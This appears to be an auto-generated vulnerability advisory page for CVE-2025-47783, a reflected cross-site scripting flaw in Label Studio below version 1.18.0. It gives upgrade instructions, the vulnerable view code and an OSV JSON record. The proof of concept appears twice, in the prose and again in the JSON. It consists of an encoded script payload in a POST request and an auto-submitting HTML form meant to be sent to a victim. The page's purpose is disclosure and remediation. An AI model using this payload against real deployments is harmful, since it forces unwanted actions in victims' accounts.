CVE-2025-47783: Label studio Cross-Site Scripting Vulnerability

HIGH
Advisory Identifier: GHSA-8jhr-wpcm-hh4h
CWE-79
Published
Advisory Summary

CVE-2025-47783 is a HIGH cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Label studio libraries in the PyPI ecosystem. The issue involves label-studio vulnerable to cross-site scripting (reflected) via the label_config parameter.. Remediation is available by upgrading affected packages to version 1.18.0.

CVE-2025-47783 at a Glance

CVE Identifier CVE-2025-47783
GHSA Identifier GHSA-8jhr-wpcm-hh4h
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Label studio
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix CVE-2025-47783

To remediate this vulnerability, upgrade all affected Label studio dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

label-studio fixed: 1.18.0
pip install label-studio>=1.18.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show label-studio

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2025-47783, inspect your installed packages using pip:

pip show label-studio

Analyze the terminal output to locate any version of Label studio in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.18.0), your application is affected.

Note: The pip show label-studio command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Label studio, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The vulnerability allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, unauthorized actions on behalf of the user, and other attacks. ### Details The vulnerability is reproducible when sending a properly formatted request to the `POST /projects/upload-example/` endpoint. In the source code, the vulnerability is located at `label_studio/projects/views.py`. ```python 39: @require_http_methods(['POST']) 40: def upload_example_using_config(request): 41: """Generate upload data example by config only""" 42: config = request.POST.get('label_config', '') 43: 44: org_pk = get_organization_from_request(request) 45: secure_mode = False 46: if org_pk is not None: 47: org = generics.get_object_or_404(Organization, pk=org_pk) 48: secure_mode = org.secure_mode 49: 50: try: 51: Project.validate_label_config(config) 52: task_data, _, _ = get_sample_task(config, secure_mode) 53: task_data = playground_replacements(request, task_data) 54: except (ValueError, ValidationError, lxml.etree.Error): 55: response = HttpResponse('error while example generating', status=status.HTTP_400_BAD_REQUEST) 56: else: 57: response = HttpResponse(json.dumps(task_data)) 58: return response ``` The vulnerability is specifically located in line 57, where HttpResponse is used. ```python 57: response = HttpResponse(json.dumps(task_data)) ``` ### PoC Send the following request after changing the `{host}` to your own. ```css POST /projects/upload-example/ HTTP/1.1 Host: {host} Content-Type: application/x-www-form-urlencoded Content-Length: 67 label_config=%3cView%3e%3cText%20name%3d%22text%22%20value%3d%22$textjmwwi%26lt%3bscript%26gt%3balert(1)%26lt%3b%2fscript%26gt%3bs8m37%22%2f%3e%3c%2fView%3e ``` Or you can create a vulnerable HTML page by changing `{domain}` beforehand, which can later be sent to the victim. ```html <html> <body> <form action="http://{domain}/projects/upload-example/" method="POST"> <input type="hidden" name="label&#95;config" value="&lt;View&gt;&lt;Text&#32;name&#61;&quot;text&quot;&#32;value&#61;&quot;&#36;textjmwwi&amp;lt&#59;script&amp;gt&#59;alert&#40;1&#41;&amp;lt&#59;&#47;script&amp;gt&#59;s8m37&quot;&#47;&gt;&lt;&#47;View&gt;" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html> ``` ### Impact - Malicious code execution: The user may be forced to perform unwanted actions within their Label Studio account. This includes accessing `document.cookie`, but note that Label Studio session cookies are marked http-only, mitigating any possibility of session theft.

CVE-2025-47783 Affected Label studio Versions

1 component(s)
Fixed Versions:
1.18.0
Product / Package Ecosystem Affected Versions Fixed Version
label-studio
PyPI
< 1.18.0
1.18.0

References

Frequently Asked Questions

What is CVE-2025-47783?
CVE-2025-47783 is a security vulnerability in Label studio involving label-studio vulnerable to Cross-Site Scripting (Reflected) via the label_config parameter. under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Label studio versions are affected?
Affected versions include releases prior to 1.18.0 across affected packages: label-studio.
What version fixes CVE-2025-47783?
Upgrading to 1.18.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is label-studio affected?
Yes, label-studio is affected in releases prior to 1.18.0. Upgrade your dependency to 1.18.0 or later.
What CWE is associated with CVE-2025-47783?
CVE-2025-47783 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check PyPI dependencies for CVE-2025-47783?
Run the dependency tree command: 'pip show label-studio'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8jhr-wpcm-hh4h",
  "modified" : "2026-06-06T00:31:24Z",
  "published" : "2025-05-15T16:21:16Z",
  "aliases" : [ "CVE-2025-47783" ],
  "summary" : "label-studio vulnerable to Cross-Site Scripting (Reflected) via the label_config parameter.",
  "details" : "### Summary\nThe vulnerability allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, unauthorized actions on behalf of the user, and other attacks.\n\n### Details\nThe vulnerability is reproducible when sending a properly formatted request to the `POST /projects/upload-example/` endpoint. In the source code, the vulnerability is located at `label_studio/projects/views.py`.\n```python\n39: @require_http_methods(['POST'])\n40: def upload_example_using_config(request):\n41:     \"\"\"Generate upload data example by config only\"\"\"\n42:     config = request.POST.get('label_config', '')\n43: \n44:     org_pk = get_organization_from_request(request)\n45:     secure_mode = False\n46:     if org_pk is not None:\n47:         org = generics.get_object_or_404(Organization, pk=org_pk)\n48:         secure_mode = org.secure_mode\n49: \n50:     try:\n51:         Project.validate_label_config(config)\n52:         task_data, _, _ = get_sample_task(config, secure_mode)\n53:         task_data = playground_replacements(request, task_data)\n54:     except (ValueError, ValidationError, lxml.etree.Error):\n55:         response = HttpResponse('error while example generating', status=status.HTTP_400_BAD_REQUEST)\n56:     else:\n57:         response = HttpResponse(json.dumps(task_data))\n58:     return response\n```\nThe vulnerability is specifically located in line 57, where HttpResponse is used.\n```python\n57:         response = HttpResponse(json.dumps(task_data))\n```\n### PoC\nSend the following request after changing the `{host}` to your own.\n```css\nPOST /projects/upload-example/ HTTP/1.1\nHost: {host}\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 67\n\nlabel_config=%3cView%3e%3cText%20name%3d%22text%22%20value%3d%22$textjmwwi%26lt%3bscript%26gt%3balert(1)%26lt%3b%2fscript%26gt%3bs8m37%22%2f%3e%3c%2fView%3e\n```\nOr you can create a vulnerable HTML page by changing `{domain}` beforehand, which can later be sent to the victim.\n```html\n<html>\n  <body>\n    <form action=\"http://{domain}/projects/upload-example/\" method=\"POST\">\n      <input type=\"hidden\" name=\"label&#95;config\" value=\"&lt;View&gt;&lt;Text&#32;name&#61;&quot;text&quot;&#32;value&#61;&quot;&#36;textjmwwi&amp;lt&#59;script&amp;gt&#59;alert&#40;1&#41;&amp;lt&#59;&#47;script&amp;gt&#59;s8m37&quot;&#47;&gt;&lt;&#47;View&gt;\" />\n      <input type=\"submit\" value=\"Submit request\" />\n    </form>\n    <script>\n      history.pushState('', '', '/');\n      document.forms[0].submit();\n    </script>\n  </body>\n</html>\n```\n### Impact\n- Malicious code execution: The user may be forced to perform unwanted actions within their Label Studio account. This includes accessing `document.cookie`, but note that Label Studio session cookies are marked http-only, mitigating any possibility of session theft.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "label-studio"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.18.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/HumanSignal/label-studio/security/advisories/GHSA-8jhr-wpcm-hh4h"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-47783"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/HumanSignal/label-studio/commit/97db9e7b16783e1f6052eb432a6f014f80ef268d"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/HumanSignal/label-studio"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/label-studio/PYSEC-2025-124.yaml"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-05-15T16:21:16Z",
    "nvd_published_at" : "2025-05-14T23:15:48Z"
  }
}